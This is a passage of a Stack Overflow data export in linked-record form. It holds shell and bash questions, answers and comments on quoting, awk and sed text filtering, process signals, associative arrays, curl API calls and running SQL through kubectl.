to eval: finalcommand=&quot;${finalcommand:1}&quot; finalcommand=&quot;${finalcommand::-1}&quot; But this results in the eval failing with a unexpected EOF while looking for matching `''
has comment: http://stackoverflow.com/comment/136092520
has comment: http://stackoverflow.com/comment/136093269
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136096918

http://stackoverflow.com/a/77640757
has comment: http://stackoverflow.com/comment/136933998
score: 1
type: Answer
downvote count: 0
upvote count: 1
has body: Did you install vscode via flatpak? This might be the reason. The flatpak version of vscode doesn't have access to the default terminal and your SDKs. Try installing vscode natively.
answers question: http://stackoverflow.com/q/77072494

http://stackoverflow.com/comment/136098417
has text: Thank you @user1934428. I just added this appending command(>>) and it makes sense. Anyways, I have added working script below which I just figured out.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/77200480
type: AnswerComment

http://stackoverflow.com/comment/135958094
type: Comment
has text: If you were using a function instead of an alias, you could export that function into the environment and every copy of the same shell you did the export with (bash if you exported in bash, zsh in zsh, etc) would see it. Aliases are an optional feature -- shells not implementing the interactive extension annex of POSIX don't even support them at all -- and they're worse than functions in almost every way (can't pass arguments through except implicitly in tail position, can't do conditional logic, etc etc etc)
score: 0
comment on: http://stackoverflow.com/q/77122565
type: QuestionComment

http://stackoverflow.com/comment/135902889
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77090496
has text: Questions of why you're using tcsh aside, why are you using `eval`? What is your ultimate goal you're trying to accomplish?
score: 0

http://stackoverflow.com/comment/136110048
score: 0
has text: @langepass88 also add examples of filesystem layout and file contents, explaining what should match and what shouldn't match
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77205722

http://stackoverflow.com/comment/136039098
score: 0
comment on: http://stackoverflow.com/a/77166393
has text: @triplee i have added the CWL file on my question for you to have a look
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135907856
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77090496
score: 0
has text: I know `tcsh` is not that great, this attempt is nearly to support `tcsh` along with other shells for compatibility. We can't use `source` as we do not actually intend to generate the file. One script generates the file's content (i.e., `setenv` lines), and the calling script is supposed to use them. I could not get it working with `source`. Thank you for the article by the way.

http://stackoverflow.com/a/77206617
upvote count: 1
answers question: http://stackoverflow.com/q/77206252
has body: I think the problem is with the syntax for passing the Circle-Token header,you used ${data.aws_ssm_parameter.ct[0].value} to interpolate the value of the Circle-Token header, and you used single quotes (') around the Circle-Token header value, which prevents variable interpolation,so just use double quotes (") ! #!/bin/bash user=$1 repo=$2 lower_env=$3 env=${lower_env^^} token="1234567890" ...... NEW_ACCESS_KEY_ID="$(aws iam list-access-keys --user-name $user | jq -r '.AccessKeyMetadata[].AccessKeyId')" ...... curl -X POST "https://circleci.com/api/v2/project/gh/some-organization/$repo/envvar" \ -H "Content-Type: application/json" \ -H "Circle-Token: $token" \ -d "{\"name\":\"AWS_ACCESS_KEY_ID_${env}\",\"value\":\"$NEW_ACCESS_KEY_ID\"}" If you like, you could reduce the escaping in the -d argument by only exposing the variables to the shell for interpretation rather than the whole argument string either by concatenation: curl ... -d '{"name":"AWS_ACCESS_KEY_ID_'"${env}"'","value":"'"$NEW_ACCESS_KEY_ID"'"}' or calling printf: curl ... -d "$(printf '{"name":"AWS_ACCESS_KEY_ID_%s","value":"%s"}' "$PWD" "$HOME")" or by populating a variable to be used as that argument: data='{"name":"AWS_ACCESS_KEY_ID_'"${env}"'","value":"'"$NEW_ACCESS_KEY_ID"'"}' or: printf -v data '{"name":"AWS_ACCESS_KEY_ID_%s","value":"%s"}' "$env" "$NEW_ACCESS_KEY_ID" followed by: curl ... -d "$data"
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77206252
type: Answer
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136114422
score: 1

http://stackoverflow.com/q/77122156
possible better answer: http://stackoverflow.com/a/77122237
score: 1
has comment: http://stackoverflow.com/comment/135957426
favorite count: 0
answer count: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77122764
has title: Shell script program - Filter rows from log file which having disk-space utilization size more than 80%
has comment: http://stackoverflow.com/comment/135957158
upvote count: 3
tagged with: sh
has body: I have one following log file (input-log-file.log) and i want to do filter on log file using shell script (.sh) which give me rows which having disk space utilization more than 80% (&gt;= 80) along with server name in output file. input-log-file.log : ====================== Server-1: user@x.xxx.xx.xx ====================== /data/file/test 50G 5.3G 45G 11% /opt/apps/user ====================== Server-2: user@xx.xxx.xx.xx ====================== /data/xyz/test 100G 30G 45G 86% /opt/apps/user ====================== Server-3: user@xx.xx.xx.xxx ====================== /dev/env/volume 5.0G 418M 4.6G 55% /opt/apps/user /dev/env/volume 100G 59G 42G 59% /opt/apps/user /dev/env/volume 200G 51G 150G 92% /opt/apps/user/abc1 ====================== Server-4: user@xx.xx.xx.xxx ====================== /dev/env/flow_vol 100G 60G 41G 82% /opt/apps/user /dev/env/flow_vol/data 100G 39G 62G 39% /opt/apps/user /dev/env/flow_vol/data 100G 20G 81G 20% /opt/apps/user/xyz /dev/env/flow_vol/test 200G 66G 135G 96% /opt/apps/user/ My excepted output in new file as below (i.e. output-log-file.log): ====================== Server-2: user@xx.xxx.xx.xx ====================== /data/xyz/test 100G 30G 45G 86% /opt/apps/user ====================== Server-3: user@xx.xx.xx.xxx ====================== /dev/env/volume 200G 51G 150G 92% /opt/apps/user/abc1 ====================== Server-4: user@xx.xx.xx.xxx ====================== /dev/env/flow_vol 100G 60G 41G 82% /opt/apps/user /dev/env/flow_vol/test 200G 66G 135G 96% /opt/apps/user/ ------------------------------------------------------------------------------------ I written below shell script which give me rows which having disk space utilization more than 80% (&gt;= 80) but I am NOT getting the server name. disk-space-filter.sh file : awk '{original_block=$0; FS=&quot; &quot;; gsub(/\(|\)|%/,&quot;&quot;); if($5&gt;=80) print original_block }' input-log-file.log &gt; output-log-file.log If i run the above shell script my program (./disk-space-filter.sh) then…
downvote count: 2
tagged with: command-line
has answer: http://stackoverflow.com/a/77122764
has answer: http://stackoverflow.com/a/77122237
type: Question
tagged with: shell
tagged with: linux

http://stackoverflow.com/q/77115001
score: 0
type: Question
tagged with: operating-system
tagged with: shell
accepted answer: http://stackoverflow.com/a/77122428
has comment: http://stackoverflow.com/comment/135947271
tagged with: process
has comment: http://stackoverflow.com/comment/135954951
upvote count: 1
answer count: 1
favorite count: 0
downvote count: 1
has answer: http://stackoverflow.com/a/77122428
tagged with: signals
has title: How tty interrupts are sent from pid 0?
has comment: http://stackoverflow.com/comment/135945453
type: AnsweredQuestion
has body: This code prints the pid and uid of a caught signal: #include <stdio.h> #include <unistd.h> #include <string.h> #include <signal.h> static void my_handler(int signum, siginfo_t *siginfo, void *context) { FILE *f = fopen("sig_clog.txt", "a"); fprintf(f, "Got signal '%d' from process '%d' of user '%d'\n", signum, siginfo->si_pid, siginfo->si_uid); fclose(f); } int main(void) { FILE *f = fopen("sig_clog.txt", "w"); fclose(f); struct sigaction act; memset(&act, '\0', sizeof(act)); act.sa_sigaction = &my_handler; act.sa_flags = SA_SIGINFO; sigaction(SIGINT, &act, NULL); sigaction(SIGTSTP, &act, NULL); sigaction(SIGCONT, &act, NULL); sigaction(SIGHUP, &act, NULL); printf("Hi, my pid is %d\n", getpid()); printf("my parent pid is %d\n", getppid()); while(1) sleep(1000); return 0; } After running this, if I open a different terminal and use kill command to send signal to this process, it writes a pid and an uid (they are some random numbers and I'm not sure if it is correct). But instead, if I interrupt using Ctrl+C, then it writes pid and uid as 0. Isn't the process with pid 0 is the kernel process? I was expecting the pid to be that of the shell. How the shell is making kernel to send signal to the process and why? Also, apart from int, tstp and quit, is there any way to generate signals through shell itself? or to add custom signal keycodes? like making Ctrl+K to send kill signal? I saw stty command options, I didn't find any.
tagged with: interrupt

http://stackoverflow.com/comment/136029669
has text: How are you running the script?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77162327
score: 0

http://stackoverflow.com/comment/136156932
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77231881
type: QuestionComment
has text: @Barmar `but it's the opposite of SSH` HSS?

http://stackoverflow.com/comment/136105744
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77204784
score: 0
has text: OP didn't even mention docker, let alone alpine.

http://stackoverflow.com/comment/136141855
score: 0
has text: It is possible (and recommended) to use Github issues in https://github.com/conan-io/conan/issues for getting support from the Conan team, specially if the issue requires interacting, asking further details, etc, it is better suited there than in SO
type: QuestionComment
comment on: http://stackoverflow.com/q/77224520
type: Comment

http://stackoverflow.com/comment/135978856
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77133415
type: Comment
has text: If you copy/paste that into http://shellcheck.net it'll tell you about some of the issues with it. See also [why-is-using-a-shell-loop-to-process-text-considered-bad-practice](https://unix.stackexchange.com/questions/169716/why-is-using-a-shell-loop-to-process-text-considered-bad-practice).

http://stackoverflow.com/comment/136133206
score: 0
comment on: http://stackoverflow.com/a/77219653
type: Comment
type: AnswerComment
has text: In his case, I think he wants to organize his screenshots on the PC with a proper name. So there won't be any files with the same name.

http://stackoverflow.com/comment/136011552
score: 0
has text: The argument to `sh` is a filename, not a command line. Did you mean `sh -c`? Also, `sh` is not the same as `bash`.
type: QuestionComment
comment on: http://stackoverflow.com/q/77152224
type: Comment

http://stackoverflow.com/comment/136132690
has text: @shelter, i have also updated "ls -la"
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77199964

http://stackoverflow.com/q/77139164
tagged with: oh-my-zsh
has body: I have a command that outputs a lot of text that has some numbers within the output, specifically 20-digit numbers. These 20-digit numbers are identifiers to a specific web resource (like https://example.com?q={20-digit-number}. How do I customize stdout to replace any 20-digit number with a clickable URL on iterm2 + zsh? I've looked into creating my own oh-my-zsh plugin, but I can't seem to find a way to hook into the printed output
has title: zsh: replace custom text with a hyperlink
tagged with: iterm2
has comment: http://stackoverflow.com/comment/135990691
downvote count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77139562
accepted answer: http://stackoverflow.com/a/77139562
tagged with: zsh
type: Question
tagged with: shell
score: 1
upvote count: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/135994408
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77142682
type: QuestionComment
has text: ...but of course that won't work when there's less than a second of difference. You need floating-point-aware tools then; think about awk.

http://stackoverflow.com/q/77135598
has comment: http://stackoverflow.com/comment/135982536
has comment: http://stackoverflow.com/comment/135982844
has comment: http://stackoverflow.com/comment/135984894
tagged with: bash
has comment: http://stackoverflow.com/comment/135982928
has comment: http://stackoverflow.com/comment/135981973
has comment: http://stackoverflow.com/comment/135981875
type: AnsweredQuestion
has body: I've got a simple shell script that should open a new terminal window with multiple (three) tabs. open_gnome_terminal () { gnome-terminal \ --window -- bash -ic "echo tab1; exec bash;" \ --tab -- bash -ic "echo tab2; exec bash;" \ --tab -- bash -ic "echo tab3; exec bash;" } open_gnome_terminal However, when I run the script via . ./myScript I get the following error: --window: command not found --tab: command not found I also tried to run that script all in a single command in terminal and it worked fine, so my question is why backslash operator doesn't work properly in my shell script and how do I fix that? I use Linux Ubuntu 23.04 EDIT: I removed spaces after backslashes and the errors are gone now. Though I still didn't achieve the desired result of a new terminal window with 3 tabs (It only opens up a window with one tab)
has comment: http://stackoverflow.com/comment/135982283
has comment: http://stackoverflow.com/comment/135982415
score: 0
has comment: http://stackoverflow.com/comment/135981773
type: Question
has comment: http://stackoverflow.com/comment/135983559
tagged with: shell
has title: Backslash operator in linux shell script doesn't work as it should
has comment: http://stackoverflow.com/comment/135982726
has comment: http://stackoverflow.com/comment/135982862
has answer: http://stackoverflow.com/a/77137483
has answer: http://stackoverflow.com/a/77135914
has comment: http://stackoverflow.com/comment/135982476
has comment: http://stackoverflow.com/comment/135990193
accepted answer: http://stackoverflow.com/a/77137483
possible better answer: http://stackoverflow.com/a/77135914
has comment: http://stackoverflow.com/comment/135981983
has comment: http://stackoverflow.com/comment/135985369
has comment: http://stackoverflow.com/comment/135984987
has comment: http://stackoverflow.com/comment/135982614
answer count: 2
tagged with: linux

http://stackoverflow.com/comment/136128326
comment on: http://stackoverflow.com/a/77216491
type: Comment
has text: Are all of these facilities available in `ksh` too?
type: AnswerComment
score: 0

http://stackoverflow.com/q/77185038
type: Question
tagged with: element
has comment: http://stackoverflow.com/comment/136070264
tagged with: shell
type: UnansweredQuestion
tagged with: associative-array
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/136078327
tagged with: linux
has title: How to access the last element of a bash associative array?
tagged with: bash
has comment: http://stackoverflow.com/comment/136070265
has comment: http://stackoverflow.com/comment/136070293
has body: I am trying to access the last element of a bash associative array using the below code: # Declare an associative array declare -A myAssocArray # Add key-value pairs to the associative array myAssocArray["name"]="John" myAssocArray["age"]=30 myAssocArray["city"]="New York" myAssocArray["country"]="USA" keys=("${!myAssocArray[@]}") # Get all keys last_key="${keys[-1]}" # Access the last key last_element="${myAssocArray[$last_key]}" # Access the last elemen echo "$last_element" it outputs: john instead of USA actually I am trying to seek if any method is available like negative indices for last element access in assoc. arrays

http://stackoverflow.com/a/77170263
upvote count: 4
answers question: http://stackoverflow.com/q/77170124
has body: linux probably has stat. echo $(( $(stat -c %s test.csv)/1024/1024 )) Alternatively, du -k is portable. ( read k _ &lt; &lt;(du -k test.csv) &amp;&amp; echo $(( k/1024 )) ) Without the process redirection bash-ism: du -k test.csv | ( read k _ &amp;&amp; expr $k / 1024 )
accepted answer of: http://stackoverflow.com/q/77170124
type: Answer
score: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/136061543
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136061146

http://stackoverflow.com/a/77165887
score: 0
type: Answer
answers question: http://stackoverflow.com/q/77165700
has body: To run shell command in python you could use subprocess module from python. Here's an example of subprocess import subprocess subprocess.Popen('echo "hello world"') You can replace echo "hello world" with your command

http://stackoverflow.com/comment/136112141
type: Comment
comment on: http://stackoverflow.com/q/77208432
score: 1
has text: Please read: [Why should I not upload images of code/data/errors?](https://meta.stackoverflow.com/questions/285551/why-not-upload-images-of-code-errors-when-asking-a-question)
type: QuestionComment

http://stackoverflow.com/q/77161643
downvote count: 1
has comment: http://stackoverflow.com/comment/136034306
has answer: http://stackoverflow.com/a/77165072
tagged with: find
has comment: http://stackoverflow.com/comment/136028613
has comment: http://stackoverflow.com/comment/136032385
tagged with: escaping
has title: Using find to process folder names (containing whitespace and ') for a bash script fails
has comment: http://stackoverflow.com/comment/136036797
score: 0
type: Question
tagged with: shell
tagged with: whitespace
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/136033284
has comment: http://stackoverflow.com/comment/136185093
has comment: http://stackoverflow.com/comment/136028589
has comment: http://stackoverflow.com/comment/136034624
has comment: http://stackoverflow.com/comment/136028605
has comment: http://stackoverflow.com/comment/136028630
tagged with: bash
has comment: http://stackoverflow.com/comment/136030708
has comment: http://stackoverflow.com/comment/136034131
upvote count: 1
has comment: http://stackoverflow.com/comment/136032370
has body: Using bash version 5.* I created a script that creates a script that will play video and/or audio files in the given folder, the created playing-multimedia-files script using this function ffprobe -hide_banner 2>&1 "$*" |grep Stream|grep "Video:" >/dev/null if [ $? -eq 0 ]; then # return zero -> video file: default ffplay -autoexit -hide_banner -fs -i "$*" else # return non-zero -> audio only - adjusting… ffplay -autoexit -hide_banner -showmode waves -x 500 -y 150 -i "$*" fi } The script creating these scripts is called make-ffplay-script and has no issue when a given folder name has "/" at its end, but has issues when the given folder name has "./" at the beginning of the given folder name; it is meant for relative paths only, so that the folder "foldername/" containing the video and/or audio files can moved anywhere and the corresponding foldername.sh can be moved / copied alongside the folder and executing ./foldername.sh will play the files in "foldername/" regardless were "foldername/" and foldername.sh are - as long as "foldername/" and "foldername.sh" sit in the same folder. All well so far, as long as I call my script make-ffplay-script manually for each folder. When escaped with either 'single' or "double" quotes or \ when the folder name contains whitespace, my script make-ffplay-script handles the folder names correctly. When a folder name contains ' (single quote character) I use escaping via "" or \ ; These kind of folder names also work. Folder/Filenames containing " (double quote character) do not exist, nor do folder names containing new line characters or the Null byte character. Now my issue, I would like to use "find . -type d -maxdepth 1 -mindepth 1" for the list of folders in the current directory (no sub-folders) and feed that somehow to my make-ffplay-script thus creating scripts for all folders; tried several approaches for escaping the whitespaces (or the ' ) but all fail. I created dummy folders with dummy.mp3 files in these to test if all …
favorite count: 0

http://stackoverflow.com/comment/135964401
has text: I don't see any shell command in your posting, so I can't say what you did wrong.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/136112196
comment on: http://stackoverflow.com/q/77208432
score: 0
has text: Possible duplicate: https://stackoverflow.com/q/38905135/596285
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77133895
tagged with: git
type: UnansweredQuestion
tagged with: ios
has comment: http://stackoverflow.com/comment/135978817
tagged with: xcode
tagged with: swift
has title: .bak file is generated in my Xcode project after run script, is it safe to be ignored?
has comment: http://stackoverflow.com/comment/135979805
has body: I just have followed the instruction in this answer to show my app version when showing a launch screen. The issue is each time I build my app, the script will generate "Launch Screen.storyboard.bak". And it will generate a new one if I deleted the last generated file. The .bak file is tracked as a change in git. My question, is the "Launch Screen.storyboard.bak" file safe to be ignored? Or it must be committed to the git repository? Thank you in advance.
score: 0
type: Question
linked to: http://stackoverflow.com/q/33583621
tagged with: shell
answer count: 0

http://stackoverflow.com/comment/136129919
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77217613
has text: Why would you expect that? You aren't doing anything to direct top's output into the input of the later grep commands.

http://stackoverflow.com/comment/136045218
comment on: http://stackoverflow.com/q/77170124
type: QuestionComment
type: Comment
score: 0
has text: Why don't you convert 94567551 into the exact MB value then? When doing this, you need to decided what exactly a MB would be: Is it 1000000 byte or 1024*1024 byte? Bothe conventions are in common use.

http://stackoverflow.com/comment/135977705
type: Comment
comment on: http://stackoverflow.com/q/77129396
score: 0
has text: @user1934428 there is no "-" only "."
type: QuestionComment

http://stackoverflow.com/a/77095787
answers question: http://stackoverflow.com/q/77093883
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77093883
type: Answer
score: 2
upvote count: 2
has body: When read reads from the terminal and gets a ctrl-c, it is already aborted [0]. However, in that case it sets the variable to empty and returns a false status. You never check that status, and so execution just continues with an empty variable. What you want is simply this: read -l -P &quot;&quot; number or exit # or return or handling it in another way. You can also use an if: if read -l -P &quot;&quot; number # do things you would do if read wasn't aborted # Note: $number can still be empty if the user just pressed enter! end [0]: When you read from e.g. a pipe, the ctrl-c would typically end the writing process, and so read would get an end-of-file instead of a newline, and the same thing would happen.
downvote count: 0

http://stackoverflow.com/q/77090236
has title: How to get past Cloudflare's javascript challenge in nhentai when using curl?
has body: The server throws a 403 error when I use curl to request it. Basically TL;DR: I have an ID, let's say 177013, and I want to get the cover image of the gallery. What I learnt is that the image server, which is in the format of https://t[[:digit:]]\.nhentai\.net/galleries/[[:digit:]]*/cover\.[[:lower:]], does not have a javascript barrier and you can curl or even wget the URL to download the cover image, like t7.nhentai.net/gallery/2523415/cover.jpg, without the need of anything else. It's just the nhentai.net/g/ID page that has this Cloudflare challenge. But the problem is, the [[:digit:]] is different from the ID, so there's no way of getting that image server's digit just from the ID. So I tried searching for solutions, and found the hentai-chan/hentai package which is written in python. Unfortunately, I am developing a bash script and am trying to minimize the dependencies of my package, which are currently ('neofetch' 'w3m' 'chafa' 'jq' 'curl' 'bash' 'sed' 'grep'), and only want to use curl without python. When I continue researching, I found most projects use wholesomelist.com's API to get the cover image, which doesn't quite work for some IDs (like 177013). Then I found gallery-dl which manages to successfully download images straight from the website using extractors, but still don't understand how it does even after reading its source code. I think it uses cookies or act like a browser. But I don't want to use the entire gallery-dl package as it is quite heavily large in size, and I don't know if I can just extract the cover url as it downloads just the pages (/gallery/1.jpg, 2.jpg, etc.). So I tried putting cookies into curl by using this method that ChatGPT has given me: Click on the first request (200 GET nhentai.net /), and copy the value of the cookie header (which is in the Request Headers section at the bottom). 1. Open nhentai.net in your browser 2. Open the developer tools (F12) 3. Go to the network tab 4. Reload the page 5. Click on the first re…
tagged with: curl
tagged with: bash
type: Question
score: 0
tagged with: cookies
tagged with: shell
answer count: 0
tagged with: web-scraping
type: UnansweredQuestion

http://stackoverflow.com/q/77226745
accepted answer: http://stackoverflow.com/a/77230166
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136151581
has comment: http://stackoverflow.com/comment/136148079
has answer: http://stackoverflow.com/a/77230166
has comment: http://stackoverflow.com/comment/136151244
score: 0
has comment: http://stackoverflow.com/comment/136151428
tagged with: shell
tagged with: bash
tagged with: rundeck
answer count: 1
has body: I have this code and I am trying to run on a remote node in Rundeck with input option as 0 * * * * #!/bin/bash cron_expression="$1" echo "Crontab expression: $cron_expression" When I run this via the terminal it's working fine. Also, it works well when I execute it locally on Rundeck. But when I pass the same input and execute it on remote nodes in Rundeck, it's reading '*' as a wildcard character. The script file is on Rundeck server and reading from there. Can someone suggest how to run it on Rundeck remote nodes?
has title: cron expression with asterisk character included
has comment: http://stackoverflow.com/comment/136145968
linked to: http://stackoverflow.com/q/10067266
has comment: http://stackoverflow.com/comment/136146314
has comment: http://stackoverflow.com/comment/136145773
type: Question

http://stackoverflow.com/a/77124913
has comment: http://stackoverflow.com/comment/135963385
has comment: http://stackoverflow.com/comment/135968709
has comment: http://stackoverflow.com/comment/135963286
type: AcceptedAnswer
upvote count: 3
has comment: http://stackoverflow.com/comment/135963103
answers question: http://stackoverflow.com/q/77124850
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77124850
has comment: http://stackoverflow.com/comment/135962585
has comment: http://stackoverflow.com/comment/135963181
has body: One answer could be: sed &lt;input.txt -e 's/.*K //g;w file1.txt' -e 's/.* //g;' &gt;file2.txt Or better: sed &lt;input.txt -e ' s/^\([^[:space:]]\+[[:space:]]\+\)\{5\}//; w file1.txt' -e ' s/\([^[:space:]]\+[[:space:]]\+\)\{3\}//;' &gt;file2.txt Where sed is run only once, without any fork to other tool, 1st removing everything until K in first proposal, removing non-spaces followed by spaces, repeated 5 times, in second proposal then w write to file file1.txt At this point, first script part end with second quote, then a second part of script start with -e sed argument (see stevesliva's comment for explanation about this.). Removing everything until last space in first proposal, removing non-spaces followed by spaces, repeated 3 times, in second proposal Then send sed's standard output to file2.txt If ls -l show date in some language like french printing day as 1st field, justified to 2 characters (%2d), to keep the day field justified in file1.txt, you could add a little 2 chars requirement in 1st sed command: ls -l /some/path | sed -e ' s/^\([^[:space:]]\+[[:space:]]\+\)\{5\}\( [0-9] \|[0-9]\{2\} \|[A-Z]\)/\2/; w file1.txt' -e ' s/^ \?\([^[:space:]]\+[[:space:]]\+\)\{3\}//;' &gt;file2.txt So 1st field is either a space followed by a digit or two digits. (The add a potential space at begin of last replacement command). Note: In this, I've used redirection for input (&lt;input.txt), but this is not a need. Please read my comment in answer to Mark Setchell's coment.
type: Answer
has comment: http://stackoverflow.com/comment/135967959
score: 3

http://stackoverflow.com/comment/135935932
has text: For the size of a certain file, are you interested in the number of bytes which make up this file, or the disk space occupied by the file?
type: QuestionComment
comment on: http://stackoverflow.com/q/77107010
score: 0
type: Comment

http://stackoverflow.com/q/77218203
tagged with: terminal
upvote count: 1
has body: It would be possible to know the ports on which a program using node is running. I currently use this, but it also finds me ports that don't use node. netstat -Watnlv | grep LISTEN | awk '{"ps -ww -o args= -p " $9 | getline procname; print $4 }' | grep '[*]' | sort -u | sed "s/*.//"
tagged with: node.js
has comment: http://stackoverflow.com/comment/136169321
has title: MacOs shell know the ports where node
answer count: 1
favorite count: 0
tagged with: port
has answer: http://stackoverflow.com/a/77225838
type: Question
tagged with: macos
tagged with: shell
downvote count: 0
type: UnansweredQuestion
score: 1

http://stackoverflow.com/q/77082516
tagged with: kubernetes
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135890852
tagged with: bash
tagged with: kubernetes-helm
has title: How to run postgresql sql script file in helm
tagged with: postgresql
has body: I am trying to run create.sql file in postgresql in helm and Creating a temporary pod to connect to database.(part of the command is taken from the suggestion after helm install) I have below commands to create helm and connect to database. global: postgresql: auth: # Added below credentials for testing postgresPassword: "postgresqladmin" username: "admin" password: "admin" database: "postgresqlDB" containerPorts: postgresql: 5432 image: registry: docker.io repository: bitnami/postgresql tag: 15.4.0-debian-11-r10 digest: "" pullPolicy: IfNotPresent debug: false Here are the command commands: helm upgrade --install postgresql -f values.yaml bitnami/postgresql kubectl run postgresql-client --rm --tty -i --restart='Never' \ --image bitnami/postgresql --env="PGPASSWORD=admin" && \ kubectl cp ./create.sql postgresql-client:/create.sql && \ psql --host postgresql -U admin -d postgresqlDB -p 5432 -f /create.sql but with the above command stops after --env and shows logs with error The POSTGRESQL_PASSWORD environment variable is empty or not set. Set the environment variable ALLOW_EMPTY_PASSWORD=yes to allow the container to be started with blank passwords. This is recommended only for development. How to write a command to execute sql script file I tried creating table like this currently kubectl run postgresql-client --rm --tty -i \ --restart='Never' --image "docker.io/bitnami/postgresql:15.4.0-debian-11-r10" \ --env="PGPASSWORD=admin" --command -- \ psql --host postgresql -U admin -d postgresqlDB -p 5432 "CREATE TABLE my_table ( \ id serial PRIMARY KEY,\ field VARCHAR(255)\ );"
type: Question
has comment: http://stackoverflow.com/comment/135890721
tagged with: shell
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/135909467
has text: `-name` gets as argument a [glog-pattern](https://man7.org/linux/man-pages/man7/glob.7.html) which is matched against the respective directory entry. Whether this entry refers to a file or to a directory, is regulated separately by the `-type` parameter. Hence `-name "x*" -type d` would match all directories starting with the letter `x`.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77083171

http://stackoverflow.com/q/77122565
has title: Run terminal command from native terminal rather than stripped down subprocess.run
type: Question
has answer: http://stackoverflow.com/a/77122648
linked to: http://stackoverflow.com/q/415403
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135957926
has comment: http://stackoverflow.com/comment/135957917
duplicate of: http://stackoverflow.com/q/12060863
score: 0
answer count: 2
tagged with: shell
tagged with: linux
linked to: http://stackoverflow.com/q/12060863
tagged with: python
has body: I have an alias test in my .bashrc file. It works if I call it from my standard terminal. When I run subprocess.run("test",shell=True) it gives error: /bin/sh: 1: test: not found. How do I run a shell command exactly as if I just opened a terminal and executed it in there, and get the output of the command that it would have printed in my terminal?
has comment: http://stackoverflow.com/comment/135958094
has answer: http://stackoverflow.com/a/77122642

http://stackoverflow.com/q/77082545
has comment: http://stackoverflow.com/comment/135889338
has comment: http://stackoverflow.com/comment/135888318
score: 0
tagged with: aws-sam-cli
type: Question
has comment: http://stackoverflow.com/comment/135888684
has comment: http://stackoverflow.com/comment/135888583
tagged with: shell
has comment: http://stackoverflow.com/comment/135889984
tagged with: aws-sam
tagged with: python
has comment: http://stackoverflow.com/comment/135889370
tagged with: aws-lambda
answer count: 0
type: UnansweredQuestion
has body: My AWS Lambda measures the time (in milliseconds) of copying two ML models from /var/task to /tmp and initializing these models during the cold start. Here is the relevant code (i.e. the code that executes outside of any function): import json import subprocess import time def ms_now(): return int(time.time_ns() / 1000000) class Timer(): def __init__(self): self.start = ms_now() def stop(self): return ms_now() - self.start def shell_command(command): print("Executing: ", command, flush=True) result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) if result.returncode == 0: print("Success", flush=True) else: print("Error:", result.stderr, flush=True) def copy(): shell_command(f"cp -r /var/task/torch /tmp/") shell_command(f"cp -r /var/task/huggingface /tmp/") # Copying the models timer = Timer() copy() print("Time to copy:", timer.stop(), flush=True) # Initializing the models timer = Timer() from sentence_transformers import SentenceTransformer from punctuators.models import PunctCapSegModelONNX model_name = "pcs_en" model_sentences = PunctCapSegModelONNX.from_pretrained(model_name) model_embeddings = SentenceTransformer('sentence-transformers/all-MiniLM-L6-v2') print("Time to initialize:", timer.stop(), flush=True) The first three invocations after updating the Lambda timed out (the timeout is set at 30 seconds). The CloudWatch logs follow. For convenience, I added (manually) a separator line where I believe one invocation ends and another one begins. 2023-09-11T16:57:36.315+03:00 Executing: cp -r /var/task/torch /tmp/ 2023-09-11T16:57:46.061+03:00 Executing: cp -r /var/task/torch /tmp/ 2023-09-11T16:58:16.020+03:00 START RequestId: ac4c4611-7c49-4eb0-94f2-238845e0500a Version: $LATEST 2023-09-11T16:58:16.022+03:00 2023-09-11T13:58:16.022Z ac4c4611-7c49-4eb0-94f2-238845e0500a Task timed out after 30.03 seconds 2023-09-11T16:58:16.022+03:00 END RequestId: ac4c4611-7c49-4eb0-94f2-238845e0500a 2023-09-11T16:58:16.022+03:00…
has title: Making sense of the log for the cold start of AWS Lambda
has comment: http://stackoverflow.com/comment/135888170

http://stackoverflow.com/comment/135985325
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/77135914
has text: also turn on the `vi` `list` feature with `(Esc):set list` and you will see `$` at the end of each line. With the problem with trailing spaces, you'll see `...stuff...\ $` (where there is a space char after the `"\"` char. Good luck to all.
type: Comment

http://stackoverflow.com/q/77078329
has comment: http://stackoverflow.com/comment/135882674
type: Question
has title: Connect stdin and stdout to a socket
